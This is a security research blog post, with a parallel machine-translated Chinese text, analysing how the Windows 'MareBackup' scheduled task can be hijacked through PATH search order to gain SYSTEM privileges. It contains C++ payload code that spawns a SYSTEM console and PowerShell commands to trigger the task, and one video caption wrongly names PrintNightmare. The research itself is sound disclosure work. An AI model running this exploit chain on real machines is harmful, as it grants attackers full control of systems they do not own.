Post

Hijacking the Windows "MareBackup" Scheduled Task for Privilege Escalation
劫持 Windows "MareBackup"计划任务以提升权限

The built-in “MareBackup” scheduled task is susceptible to a trivial executable search order hijacking, which can be abused by a low-privileged user to gain privileges whenever a vulnerable folder is prepended to the system’s environment variable (instead of being appended).SYSTEMPATH
内置的“MareBackup”计划任务容易受到简单的可执行文件搜索顺序劫持,低权限用户可以利用这一点,在易受攻击的文件夹被添加到系统环境变量前缀(而不是后缀)时,来获取权限。 SYSTEM PATH

As I was working on a semi-automated research project on an unrelated subject, I generated and collected a lot of data with Process Monitor. So, I decided to have a quick look and applied the basic search filters for DLL search order hijacking, just to see if something would come out, even if it was not my initial objective. This is how I observed the following behavior.
在我进行一项关于不同主题的半自动化研究项目时,我使用 Process Monitor 生成了并收集了大量数据。因此,我决定快速查看一下,并应用了 DLL 搜索顺序劫持的基本搜索过滤器,看看是否会有什么结果,即使这并非我的初始目标。这就是我观察到以下行为的方式。

Process Monitor showing the execution of PowerShell by `CompatTelRunner.exe` Process Monitor showing the execution of PowerShell by CompatTelRunner.exe
Process Monitor 显示 CompatTelRunner.exe 执行 PowerShell

We have an executable named , running as , and executing PowerShell, apparently without specifying its absolute path because we can see that it uses the typical executable search order documented here.CompatTelRunner.exeNT AUTHORITY\SYSTEM
我们有一个名为的可执行文件,以身份运行,并执行 PowerShell,显然没有指定其绝对路径,因为我们可以看到它使用了这里记录的典型可执行文件搜索顺序。 CompatTelRunner.exe NT AUTHORITY\SYSTEM

The Python entries are highlighted here because Python was known in the past for inserting folders configured with (default) weak permissions in the system’s environment variable. This issue has since been addressed in the Python installer, and therefore this behavior wouldn’t be exploitable here.PATHPATH
这里的 Python 条目被突出显示,因为 Python 过去以将配置了(默认)弱权限的文件夹插入系统环境变量而闻名。这个问题已经在 Python 安装程序中得到解决,因此这种行为在这里不会可利用。 PATH PATH

Besides, contrary to a typical Ghost DLL hijacking, where would go through all the entries because the target file doesn’t exist, here the hijacking would work only if a vulnerable entry was prepended to the list, instead of being appended, because the legitimate would be found eventually.LoadLibraryPATHpowershell.exe
此外,与典型的 Ghost DLL 劫持不同,后者会遍历所有条目因为目标文件不存在,这里劫持只有在脆弱条目被添加到列表开头而非末尾时才会生效,因为合法条目最终会被找到。 LoadLibrary PATH powershell.exe

Hypothetical PowerShell search order hijacking Hypothetical PowerShell search order hijacking
假设的 PowerShell 搜索顺序劫持

Now, assuming that such a vulnerable folder exists, is this behavior really exploitable, and can we trigger it as a low-privileged user? You guessed it, the answer to both of these questions is “yes”. Let me walk you through a quick analysis.
现在,假设这样的脆弱文件夹确实存在,这种行为真的可被利用吗,我们能否以低权限用户身份触发它?答案正如你所料,这两个问题的答案都是“是”。让我带你快速分析一下。

In total, Process Monitor recorded 13 “Process Create” events for . They are all similar so the one shown below was just picked at random. The “Event” tab shows the following command line being executed. Nothing really interesting there.powershell.exe
Process Monitor 总共记录了 13 个“.进程创建”事件。它们都相似,所以下面随机选了一个。在“事件”标签页显示正在执行的命令行。没什么特别的。 powershell.exe

1
powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';

Process Monitor - PowerShell process create event details Process Monitor - PowerShell process create event details
Process Monitor - PowerShell 进程创建事件详细信息

The “Process” tab shows the following command line for the parent process. It also confirms that it runs as in session . So, we are sure there is no user impersonation involved here.NT AUTHORITY\SYSTEM0
“进程”选项卡显示了父进程的以下命令行。它还确认该进程以会话身份运行。因此,我们可以确定这里没有涉及用户模拟。 NT AUTHORITY\SYSTEM 0

1
"C:\WINDOWS\system32\compattelrunner.exe" -m:appraiser.dll -f:DoScheduledTelemetryRun

Process Monitor - Parent process details Process Monitor - Parent process details
Process Monitor - 父进程详细信息

The “Stack” tab shows that the call originated from a function named in .CreateProcessWPowerShellMatchingPluginacmigration.dll
“堆栈”选项卡显示该调用来自一个名为 . CreateProcessW PowerShellMatchingPlugin acmigration.dll 的函数。

Process Monitor - Stack trace leading to the `CreateProcessW` call Process Monitor - Stack trace leading to the callCreateProcessW
Process Monitor - 导致调用 CreateProcessW 的堆栈跟踪

Now, there is a bit of information I already knew, but it was also possible to make an educated guess. The keywords and put me on the right track immediately. I’ve seen the first one on multiple occasions in a few built-in scheduled tasks, and the second one kind of hints in that direction as well.appraiserScheduledTelemetry
现在,有些信息我其实已经知道了,但也可以做出有根据的猜测。关键词让我立刻找到了正确的方向。我曾在几个内置计划任务中多次看到第一个关键词,而第二个关键词也暗示了那个方向。 appraiser ScheduledTelemetry

We can use PowerShell to quickly enumerate all the scheduled tasks and find the ones with a “command line” action containing the keyword . As a side note, this enumeration should be done as an administrator to ensure that all registered tasks are checked, not just the ones visible to low-privileged users.DoScheduledTelemetryRun
我们可以使用 PowerShell 快速枚举所有计划任务,并找到那些具有包含关键词“命令行”操作的任务。顺便一提,这个枚举操作应该以管理员身份执行,以确保检查所有注册的任务,而不仅仅是低权限用户可见的任务。 DoScheduledTelemetryRun

1
2
3
4
5
6
7
8
9
10
11
PS C:\WINDOWS\system32> Get-ScheduledTask | ? { $_.Actions.Arguments -like "*DoScheduledTelemetryRun*" } | select TaskPath,TaskName,Description,State | fl

TaskPath    : \Microsoft\Windows\Application Experience\
TaskName    : MareBackup
Description : Gathers Win32 application data for App Backup scenario
State       : Ready

TaskPath    : \Microsoft\Windows\Application Experience\
TaskName    : Microsoft Compatibility Appraiser Exp
Description : Collects program telemetry information if opted-in to the Microsoft Customer Experience Improvement Program.
State       : Ready

The result shows two candidate scheduled tasks, and , which are both registered under “Application Experience”.MareBackupMicrosoft Compatibility Appraiser Exp
结果显示有两个候选计划任务,和,它们都注册在“应用体验”下。 MareBackup Microsoft Compatibility Appraiser Exp

Task Scheduler - Application Experience scheduled tasks Task Scheduler - Application Experience scheduled tasks
任务计划程序 - 应用程序体验计划任务

At this point, we have all the information we need, but just out of curiosity, I opened the file , from which the originates, in Ghidra, to take a look at the function. Unfortunately, Ghidra was not able to reconstruct the initialization of the command line, so I’ll just highlight the API call. Apart from the fact that it specifies the creation flag , there is nothing special here either.acmigration.dllCreateProcessWPowerShellMatchingPluginCreateProcessWCREATE_NO_WINDOW
此时我们已经有了所有需要的信息,但出于好奇,我在 Ghidra 中打开了该文件,查看其中的函数。不幸的是,Ghidra 无法重建命令行的初始化,所以我只能突出显示 API 调用。除了指定创建标志外,这里也没有什么特别的。 acmigration.dll CreateProcessW PowerShellMatchingPlugin CreateProcessW CREATE_NO_WINDOW

Ghidra - `CreateProcessW` being called from `acmigration!PowerShellMatchingPlugin` Ghidra - being called from CreateProcessWacmigration!PowerShellMatchingPlugin
Ghidra - 从 CreateProcessW acmigration!PowerShellMatchingPlugin 被调用

The last question is “can we trigger or start at least one of these two scheduled tasks as a low-privileged user?”. The first one doesn’t have any trigger registered, and the second one only has one custom trigger. This is not encouraging, but we can try to start them manually using either or the PowerShell cmdlet .schtasks.exeStart-ScheduledTask
最后一个问题是“作为低权限用户能否触发或至少启动这两个计划任务中的一个?”。第一个任务没有注册任何触发器,而第二个任务只有一个自定义触发器。这并不令人鼓舞,但我们可以尝试使用或 PowerShell cmdlet 手动启动它们。 schtasks.exe Start-ScheduledTask

PowerShell - Attempting to start the two candidate scheduled tasks PowerShell - Attempting to start the two candidate scheduled tasks
PowerShell - 尝试启动两个候选计划任务

We get an “access denied” error when attempting to start , but the other one seems to work. To understand why that is, we should take a look at their DACLs, but there is no easy way to do that within the Task Scheduler GUI. However, since I implemented DACL checks for scheduled tasks in PrivescCheck, I can use that to my advantage.Microsoft Compatibility Appraiser Exp
当我们尝试启动时,会得到一个“访问被拒绝”的错误,但另一个似乎可以工作。要理解为什么会出现这种情况,我们应该查看它们的 DACL,但在任务计划程序 GUI 中没有简单的方法来做到这一点。然而,由于我在 PrivescCheck 中实现了计划任务的 DACL 检查,我可以利用这一点。 Microsoft Compatibility Appraiser Exp

PowerShell - "MareBackup" scheduled task permission check PowerShell - “MareBackup” scheduled task permission check
PowerShell - “MareBackup”计划任务权限检查

Note that there is actually an easier way to achieve the same result. We can check the DACL of the XML file containing the scheduled task’s definition.
请注意,实际上有一种更简单的方法可以实现相同的结果。我们可以检查包含计划任务定义的 XML 文件的 DACL。

"MareBackup" scheduled task permission check with icacls “MareBackup” scheduled task permission check with icacls
使用 icacls 检查“MareBackup”计划任务权限

Whichever method is used, we can see that the identity has , or , over the scheduled task. “So, that means I can modify the scheduled task as a low-privileged user and achieve LPE? That’s an 0-day!BUILTIN\UsersAllAccessFullControl
无论使用哪种方法,我们可以看到身份对计划任务具有,或,权限。“那么,这意味着我可以以低权限用户身份修改计划任务并实现 LPE?这是一个 0 天漏洞!” BUILTIN\Users AllAccess FullControl

The result of the command shows that we have full control over the scheduled task file, but that doesn’t serve any purpose since there is a checksum stored in the registry, and an integrity check is performed by the service when the tasks are loaded. Theoretically, the only way to modify a scheduled task is through the service using RPC, and all the procedures verify that the client has administrator privileges. The only exception that I’m aware of is the one used for enabling / disabling tasks.icaclsScheduleSchedule
命令的结果显示我们对计划任务文件拥有完全控制权,但这毫无意义,因为注册表中存储了一个校验和,服务在加载任务时会进行完整性检查。理论上,修改计划任务的唯一方式是通过服务使用 RPC,并且所有流程都验证客户端具有管理员权限。我所知道的唯一例外是用于启用/禁用任务的那个。 icacls Schedule Schedule

So, no actual vulnerability here, but this does explain why we can start the scheduled task manually without administrator privileges.
所以,这里并没有实际漏洞,但这解释了为什么我们可以在没有管理员权限的情况下手动启动计划任务。

One question remains, what about the payload? Well, we don’t really care about preserving the original feature. It’s just a scheduled task for collecting telemetry data after all, it’s not system-critical, so we can execute whatever we want without having to ensure that the PowerShell commands are actually executed. In addition, the service will use the default token, which has enabled. Therefore, I opted for my personal favorite: spawning a console on the user’s desktop (original code).ScheduleSYSTEMSeTcbPrivilegeSYSTEM

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HANDLE hToken = NULL, hTokenDup = NULL;
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
LPCWSTR pwszApplication = L"cmd.exe";
DWORD dwSessionId = 1; // Set to the target user's session ID
                       // (or invoke WTSGetActiveConsoleSessionId() to get the console session ID)

// Error checks were removed for conciseness
OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken);
DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityAnonymous, TokenPrimary, &hTokenDup);
SetTokenInformation(hTokenDup, TokenSessionId, &dwSessionId, sizeof(dwSessionId));

si.cb = sizeof(si);
si.wShowWindow = SW_SHOW;
si.lpDesktop = const_cast<wchar_t*>(L"WinSta0\\Default");

CreateProcessAsUserW(hTokenDup, pwszApplication, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hTokenDup);
CloseHandle(hToken);

Finally, below is a list of all the commands you’ll need to check for and exploit this “vulnerability”. The only thing to pay attention to is whether a folder entry with weak permissions is placed before the default Windows PowerShell folder path.PATH

1
2
3
4
5
6
7
8
# Check the system PATH
Get-ItemProperty -Path "Registry::HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -Name "Path" | Select-Object -ExpandProperty Path
# Check whether the scheduled task exists and is enabled
Get-ScheduledTask -TaskName "MareBackup"
# Enable the scheduled task if needed
Enable-ScheduledTask -TaskPath "\Microsoft\Windows\Application Experience" -TaskName "MareBackup"
# Start the scheduled task
Start-ScheduledTask -TaskPath "\Microsoft\Windows\Application Experience" -TaskName "MareBackup"

In the video below, the user is named “Admin”, and is indeed a member of the local “Administrators” group, but everything is done under “medium” integrity since User Account Control (UAC) is enabled, so the PowerShell process doesn’t have administrator privileges.

Exploitation of the PrintNightmare vulnerability

The term “vulnerability” is obviously not appropriate here because the actual vulnerability lies in the fact that a folder with weak permissions was inserted in the system’s environment variable. Nonetheless, it is possible to avoid such a behavior by constructing the absolute path of before calling , rather than relying on a potentially hijackable search order.PATHpowershell.exeCreateProcess

That’s all for this post, it was a rather short one for once. Back to my main project now… :wink:

This article was originally posted on SCRT’s blog.

This post is licensed under CC BY 4.0 by the author.